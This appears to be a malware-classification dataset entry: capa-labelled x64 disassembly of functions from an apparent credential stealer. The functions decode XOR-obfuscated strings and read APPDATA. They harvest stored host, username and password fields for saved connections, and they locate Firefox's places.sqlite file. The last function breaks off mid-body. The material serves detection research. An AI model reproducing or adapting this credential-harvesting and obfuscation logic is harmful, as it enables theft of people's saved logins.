joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001424c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x5f004e
mov dword [rbp - 0x1c], 0x7b0073
mov dword [rbp - 0x18], 0x3c007e
mov dword [rbp - 0x14], 0x670040
lea ecx, [rbx + 0xa]
mov dword [rbp - 0x10], 0x53004e
mov dword [rbp - 0xc], 0x7d0066
mov dword [rbp - 8], 0x12007f
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400142a5
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400142c8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x55004e
mov dword [rbp - 0x2c], 0x7d007d
mov dword [rbp - 0x28], 0x7e0075
mov dword [rbp - 0x24], 0x3a0077
lea ecx, [rbx + 0x16]
mov dword [rbp - 0x20], 0x2a006a
mov dword [rbp - 0x1c], 0x3b0024
mov dword [rbp - 0x18], 0x51004e
mov dword [rbp - 0x14], 0x60007a
mov dword [rbp - 0x10], 0x7f007d
mov dword [rbp - 0xc], 0x120077
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140014336
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140014358
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x57004e
mov dword [rbp - 0x2c], 0x7b0062
mov dword [rbp - 0x28], 0x320071
mov dword [rbp - 0x24], 0x600042
lea ecx, [rbx + 0x1a]
mov dword [rbp - 0x20], 0x64007b
mov dword [rbp - 0x1c], 0x710073
mov dword [rbp - 0x18], 0x32006b
mov dword [rbp - 0x14], 0x600050
mov dword [rbp - 0x10], 0x65007d
mov dword [rbp - 0xc], 0x770061
mov dword [rbp - 8], 0x120060
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400143cd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400143f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x55004e
mov dword [rbp - 0x1c], 0x7d007d
mov dword [rbp - 0x18], 0x7e0075
mov dword [rbp - 0x14], 0x4e0077
lea ecx, [rbx + 0xc]
mov dword [rbp - 0x10], 0x7a0051
mov dword [rbp - 0xc], 0x7d0060
mov dword [rbp - 8], 0x77007f
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001444d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140014f38
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x460030
mov dword [rbp - 0x2c], 0x66007d
mov dword [rbp - 0x28], 0x7e0073
mov dword [rbp - 0x24], 0x7d0051
lea ecx, [rbx + 0x14]
mov dword [rbp - 0x20], 0x7f007f
mov dword [rbp - 0x1c], 0x7c0073
mov dword [rbp - 0x18], 0x770076
mov dword [rbp - 0x14], 0x300060
mov dword [rbp - 0x10], 0x490028
mov word [rbp - 0xc], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140014fa3
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140014fc4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x540030
mov dword [rbp - 0x1c], 0x7e007b
mov dword [rbp - 0x18], 0x480077
mov dword [rbp - 0x14], 0x7e007b
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x300073
mov dword [rbp - 0xc], 0x490028
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001501a
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14001503c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x55004e
mov dword [rbp - 0x2c], 0x5b005a
mov dword [rbp - 0x28], 0x5e0041
mov dword [rbp - 0x24], 0x400057
lea ecx, [rbx + 0x18]
mov dword [rbp - 0x20], 0x65004e
mov dword [rbp - 0x1c], 0x6a0071
mov dword [rbp - 0x18], 0x74004d
mov dword [rbp - 0x14], 0x620066
mov dword [rbp - 0x10], 0x7b003c
mov dword [rbp - 0xc], 0x7b007c
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400150ae
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400150d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov ebx, 0x12
mov dword [rbp - 0x60], 0x7d0041
mov dword [rbp - 0x5c], 0x660074
mov dword [rbp - 0x58], 0x730065
mov dword [rbp - 0x54], 0x770060
lea ecx, [rbx + 0x42]
mov dword [rbp - 0x50], 0x5f004e
mov dword [rbp - 0x4c], 0x600073
mov dword [rbp - 0x48], 0x7b0066
mov dword [rbp - 0x44], 0x32007c
mov dword [rbp - 0x40], 0x600042
mov dword [rbp - 0x3c], 0x79007b
mov dword [rbp - 0x38], 0x6b0060
mov dword [rbp - 0x34], 0x4e007e
mov dword [rbp - 0x30], 0x7b0045
mov dword [rbp - 0x2c], 0x41007c
mov dword [rbp - 0x28], 0x420051
mov dword [rbp - 0x24], 0x200032
mov dword [rbp - 0x20], 0x41004e
mov dword [rbp - 0x1c], 0x610077
mov dword [rbp - 0x18], 0x7b0061
mov dword [rbp - 0x14], 0x7c007d
mov dword [rbp - 0x10], 0x120061
call fcn.140002534
lea r9, [rbp - 0x60]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0x18]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140015198
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1400151c8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x7d0041
mov dword [rbp - 0x3c], 0x660074
mov dword [rbp - 0x38], 0x730065
mov dword [rbp - 0x34], 0x770060
lea ecx, [rbx + 0x2c]
mov dword [rbp - 0x30], 0x54004e
mov dword [rbp - 0x2c], 0x420046
mov dword [rbp - 0x28], 0x730045
mov dword [rbp - 0x24], 0x770060
mov dword [rbp - 0x20], 0x51004e
mov dword [rbp - 0x1c], 0x60007d
mov dword [rbp - 0x18], 0x540077
mov dword [rbp - 0x14], 0x420046
mov dword [rbp - 0x10], 0x41004e
mov dword [rbp - 0xc], 0x66007b
mov dword [rbp - 8], 0x610077
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xd]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001526b
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14001529c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x54004e
mov dword [rbp - 0x3c], 0x7e007b
mov dword [rbp - 0x38], 0x480077
mov dword [rbp - 0x34], 0x7e007b
lea ecx, [rbx + 0x28]
mov dword [rbp - 0x30], 0x73007e
mov dword [rbp - 0x2c], 0x60004e
mov dword [rbp - 0x28], 0x710077
mov dword [rbp - 0x24], 0x7c0077
mov dword [rbp - 0x20], 0x610066
mov dword [rbp - 0x1c], 0x600077
mov dword [rbp - 0x18], 0x770064
mov dword [rbp - 0x14], 0x610060
mov dword [rbp - 0x10], 0x6a003c
mov dword [rbp - 0xc], 0x7e007f
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xb]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001532a
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x140015e44
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov rsi, rcx
lea rdx, [rbp + 0x170]
lea rcx, str.APPDATA
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rcx, [rbp + 0x398]
call fcn.14001503c
mov rdx, rax
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x170]
call fcn.1400125c8
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140016012
lea rcx, [rsp + 0x40]
call fcn.140014be4
mov rbx, rax
test rax, rax
je 0x140016012
xor edi, edi
mov r8d, edi
lea rdx, [0x14001c660]
lea rcx, [rbp + 0x398]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r9, [rbp + 0x70]
mov dword [rsp + 0x20], 0x100
lea r8, [rbp + 0x398]
mov rcx, rbx
lea rdx, str.connections
call fcn.140014b2c
lea rcx, [rbp + 0x70]
call fcn.14000251c
test rax, rax
je 0x140015ffb
lea r9, [rsp + 0x70]
mov dword [rsp + 0x20], 0x100
lea r8, str.host
mov rcx, rbx
lea rdx, [rbp + 0x70]
call fcn.140014b2c
lea rcx, [rsp + 0x70]
call fcn.14000762c
lea r9, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea r8, str.username
mov dword [rsp + 0x20], 0x100
lea rdx, [rbp + 0x70]
mov rcx, rbx
call fcn.140014b2c
lea rcx, [rsp + 0x70]
call fcn.14000762c
mov ecx, 9
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x30], 0x61617362
mov dword [rsp + 0x34], 0x76607d65
mov byte [rsp + 0x38], 0x12
call fcn.140002534
lea r9, [rsp + 0x30]
mov rdx, rax
sub r9, rax
mov r8d, 9
mov cl, byte [r9 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x140015fab
lea r9, [rsp + 0x70]
mov dword [rsp + 0x20], 0x100
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, rbx
call fcn.140014b2c
lea rcx, [rsp + 0x70]
call fcn.1400075cc
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.140017798
inc edi
cmp edi, 0x64
jl 0x140015ed2
mov rcx, rbx
call fcn.140014a58
xor eax, eax
jmp 0x140016017
mov eax, 1
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140016030
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov dword [rax - 0x18], 0x740030
mov edi, 0x12
mov dword [rax - 0x14], 0x620066
mov dword [rax - 0x10], 0x280030
mov dword [rax - 0xc], 0x120069
lea ecx, [rdi - 2]
call fcn.140002534
lea r9, [rsp + 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rdi - 0xa]
movzx ecx, word [r9 + rdx]
xor cx, di
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140016077
mov rdx, rax
mov rcx, rbx
call fcn.140001930
mov rcx, rbx
call fcn.140015788
mov rcx, rbx
call fcn.140016670
mov rcx, rbx
call fcn.140016518
mov rcx, rbx
call fcn.1400163b4
mov edx, 0x2c
mov rcx, rbx
call fcn.140001a5c
lea rdx, [0x14001b474]
mov rcx, rbx
call fcn.140001930
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x1400161bc
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x1400163b1
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor r15b, r15b
mov r12d, r8d
xor esi, esi
mov r13, rdx
mov r14, rcx
lea rcx, [rsi + rsi*2]
lea rdi, [rcx*4]
add rdi, r13
movzx ecx, word [rdi]
test ecx, ecx
je 0x140016359
sub ecx, 1
je 0x140016315
cmp ecx, 1
jne 0x140016380
mov rdx, rdi
mov rcx, r14
call fcn.140011690
mov rbx, rax
test r15b, r15b
je 0x140016380
lea rdx, [0x14001c7b8]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rcx, qword [rsp + 0x28]
lea rdx, [0x14001c7c0]
test eax, eax
cmove rcx, rbx
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rcx, qword [rsp + 0x30]
test eax, eax
mov dword [rsp + 0x20], 0x61617342
cmove rcx, rbx
mov byte [rsp + 0x24], 0x12
mov qword [rsp + 0x30], rcx
mov ecx, 5
call fcn.140002534
lea r9, [rsp + 0x20]
mov rdx, rax
sub r9, rax
mov r8d, 5
mov cl, byte [r9 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x1400162a6
mov rdx, rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rcx, qword [rsp + 0x38]
lea rdx, str.PasvMode
test eax, eax
cmove rcx, rbx
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov rcx, qword [rsp + 0x4c]
lea rdx, str.Port
test eax, eax
cmove rcx, rbx
mov qword [rsp + 0x4c], rcx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140016380
mov qword [rsp + 0x44], rbx
jmp 0x140016380
mov rdx, rdi
mov rcx, r14
call fcn.140011690
lea rdx, [0x14001c7b0]
mov rcx, rax
mov rbx, rax
xor r15b, r15b
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14001634f
mov rcx, qword [rbp + 0xc0]
lea r8d, [rax + 0x2c]
lea rdx, [rsp + 0x28]
call fcn.140017798
mov rcx, rbx
call fcn.140002438
jmp 0x140016380
mov rdx, rdi
mov rcx, r14
call fcn.140011690
mov rdx, rax
lea rcx, [rsp + 0x60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, rbx
call fcn.140002438
mov r15b, 1
movzx eax, word [rdi + 2]
inc esi
add esi, eax
cmp esi, r12d
jb 0x1400161f7
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400163b4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rbx, rcx
lea rcx, [rbp + 0x17]
call fcn.140017710
lea rcx, [rbp + 0x17]
call fcn.140015474
test eax, eax
jne 0x1400164f6
movups xmm0, xmmword [str.hdfzpysvpzimorhk]
mov al, byte [0x14001c880]
lea rcx, [rbp - 0x19]
mov byte [rbp - 9], al
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, 0x12
mov dword [rbp - 1], 0x510030
mov dword [rbp + 3], 0x60007d
mov dword [rbp + 7], 0x540077
mov dword [rbp + 0xb], 0x420046
lea ecx, [rdi + 6]
mov dword [rbp + 0xf], 0x280030
mov dword [rbp + 0x13], 0x120049
call fcn.140002534
lea r9, [rbp - 1]
mov rdx, rax
sub r9, rax
lea r8d, [rdi - 6]
movzx ecx, word [r9 + rdx]
xor cx, di
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001644b
mov rdx, rax
mov rcx, rbx
call fcn.140001930
mov edi, 0x1c
jmp 0x1400164c6
lea rdx, str._url_:_
call fcn.140001930
mov rdx, qword [rbp + 0x2f]
mov rcx, rbx
call fcn.140001984
mov rcx, qword [rbp + 0x2f]
call fcn.140002438
lea rdx, str.___login_:_
mov rcx, rbx
call fcn.140001930
mov rdx, qword [rbp + 0x37]
mov rcx, rbx
call fcn.140001984
mov rcx, qword [rbp + 0x37]
call fcn.140002438
lea rdx, [0x14001c0a8]
mov rcx, rbx
call fcn.140001930
mov r8, rdi
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0x17]
call fcn.140017748
mov rcx, rbx
test eax, eax
je 0x140016472
mov edx, 0x2c
call fcn.140001a5c
lea rdx, [0x14001be7c]
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x17]
call fcn.140017704
lea r11, [rsp + 0x90]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140016670
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rdi, rcx
lea rcx, [rsp + 0x58]
call fcn.140017710
lea rcx, [rsp + 0x58]
call fcn.140015a78
test eax, eax
jne 0x14001682b
lea ebx, [rax + 0x12]
mov dword [rsp + 0x20], 0x450030
lea ecx, [rax + 0x16]
mov word [rsp + 0x34], bx
mov dword [rsp + 0x24], 0x7c007b
mov dword [rsp + 0x28], 0x710041
mov dword [rsp + 0x2c], 0x300062
mov dword [rsp + 0x30], 0x490028
call fcn.140002534
lea r9, [rsp + 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 7]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400166ed
mov rdx, rax
jmp 0x1400167ea
lea rdx, str._url_:_
call fcn.140001930
mov rdx, qword [rsp + 0x38]
mov rcx, rdi
call fcn.1400019bc
lea rdx, str.___login_:_
mov rcx, rdi
call fcn.140001930
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call fcn.1400019bc
cmp byte [rsp + 0x48], 0
je 0x1400167ac
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x49]
lea rdx, [rsp + 0x70]
call fcn.14001534c
mov rcx, qword [rsp + 0x49]
mov rbx, rax
call fcn.140002438
lea rcx, [rbp + 0x98]
call fcn.14000cd4c
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov rdx, rbx
mov rcx, rdi
call fcn.1400019bc
mov rcx, rbx
call fcn.140002438
mov rcx, qword [rsp + 0x38]
call fcn.140002438
mov rcx, qword [rsp + 0x40]
call fcn.140002438
lea rdx, str.___port_:_
mov rcx, rdi
call fcn.140001930
mov r8d, dword [rsp + 0x51]
lea rdx, [0x14001be20]
mov rcx, rdi
call fcn.140001a10
lea rdx, [0x14001c0a8]
mov rcx, rdi
call fcn.140001930
mov r8d, 0x1d
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call fcn.140017748
mov rcx, rdi
test eax, eax
je 0x14001670a
mov edx, 0x2c
call fcn.140001a5c
lea rdx, [0x14001be7c]
mov rcx, rdi
call fcn.140001930
lea rcx, [rsp + 0x58]
call fcn.140017704
lea r11, [rsp + 0x180]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14001689c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
cmp byte [rcx], 0x21
mov r12, rdx
mov rdi, rcx
jne 0x1400168cf
mov eax, 1
jmp 0x140016a55
xor r14d, r14d
call fcn.140007808
shr eax, 1
cmp eax, 4
je 0x140016931
xor esi, esi
lea r15, [rbp - 0x49]
movsxd rdx, esi
lea rcx, [rbp + 0x67]
add rdx, rdi
mov r8d, 2
call fcn.1400024b0
mov cl, byte [rbp + 0x67]
call fcn.14000756c
mov cl, byte [rbp + 0x68]
mov ebx, eax
shl ebx, 4
call fcn.14000756c
add eax, ebx
mov rcx, rdi
mov dword [r15], eax
inc r14d
lea r15, [r15 + 4]
add esi, 2
call fcn.140007808
shr eax, 1
sub eax, 4
cmp r14d, eax
jb 0x1400168e4
jmp 0x140016935
mov r14d, dword [rbp + 0x67]
mov qword [rbp + 0x77], 0xcf671
movsxd rsi, r14d
test r14d, r14d
jle 0x14001696d
xor ebx, ebx
lea rdx, [rbp + 0x77]
mov ecx, 8
call fcn.140016a74
mov ecx, dword [rbp + rbx*4 - 0x49]
movsxd rdx, eax
call fcn.140016a90
mov dword [rbp + rbx*4 - 0x49], eax
inc rbx
cmp rbx, rsi
jl 0x140016947
mov qword [rbp + 0x77], 0x3039
mov r15d, 0x100
lea rdx, [rbp + 0x77]
mov ecx, r14d
call fcn.140016a74
movsxd rdi, eax
lea rdx, [rbp + 0x77]
mov ecx, r14d
mov ebx, dword [rbp + rdi*4 - 0x49]
call fcn.140016a74
movsxd rcx, eax
mov eax, dword [rbp + rcx*4 - 0x49]
mov dword [rbp + rdi*4 - 0x49], eax
mov dword [rbp + rcx*4 - 0x49], ebx
sub r15, 1
jne 0x14001697b
mov qword [rbp + 0x77], 0xa564
test r14d, r14d
jle 0x140016a0e
xor ebx, ebx
lea rdx, [rbp + 0x77]
mov ecx, 0x100
call fcn.140016a74
xor eax, dword [rbp + rbx*4 - 0x49]
movzx eax, al
mov dword [rbp + rbx*4 - 0x49], eax
inc rbx
cmp rbx, rsi
jl 0x1400169be
mov qword [rbp + 0x77], 0xd431
xor ebx, ebx
lea rdx, [rbp + 0x77]
mov ecx, 0x100
call fcn.140016a74
mov ecx, dword [rbp + rbx*4 - 0x49]
sub ecx, eax
movzx eax, cl
mov dword [rbp + rbx*4 - 0x49], eax
inc rbx
cmp rbx, rsi
jl 0x1400169e9
jmp 0x140016a16
mov qword [rbp + 0x77], 0xd431
lea rcx, [rsi + 1]
call fcn.140002460
mov rbx, rax
test r14d, r14d
jle 0x140016a38
xor edx, edx
mov cl, byte [rbp + rdx*4 - 0x49]
mov byte [rdx + rax], cl
inc rdx
cmp rdx, rsi
jl 0x140016a29
lea r8, [rsi + 1]
mov byte [rsi + rax], 0
mov rdx, rbx
mov rcx, r12
call fcn.1400024b0
mov rcx, rbx
call fcn.140002438
xor eax, eax
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret

Function at 0x140016a74
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul r8, qword [rdx], 0x8088405
movsxd rax, ecx
mov r8d, r8d
inc r8
imul rax, r8
mov qword [rdx], r8
sar rax, 0x20
ret
Function at 0x14001a250
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rbx, rdx
mov rdi, rcx
lea rdx, [rbp - 0x50]
mov r8d, 0x208
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rbx
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str..default_release
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001a36c
lea rdx, [rbp + 0x3fc]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.places.sqlite
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.14001ac30
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001a36c
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001983c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140019e6c
test eax, eax
jne 0x14001a36c
lea r9, [0x140018f18]
mov qword [rsp + 0x20], rdi
lea r8d, [rax + 1]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001995c
mov rcx, qword [rsp + 0x30]
call fcn.140002438
xor eax, eax
jmp 0x14001a371
mov eax, 1
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14001a4a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x298]
sub rsp, 0x390
lea rax, [0x14001cb70]
mov rdi, rcx
movups xmm0, xmmword [rax]
lea r8, [rbp - 0x50]
mov ecx, 0x80
movups xmm1, xmmword [rax + 0x10]
xor r14d, r14d
mov rsi, rdx
movups xmmword [r8], xmm0
lea rbx, [rbp - 0x50]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
add r8, rcx
movups xmm0, xmmword [rax + 0x70]
add rax, rcx
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
mov rax, qword [rax + 0x40]
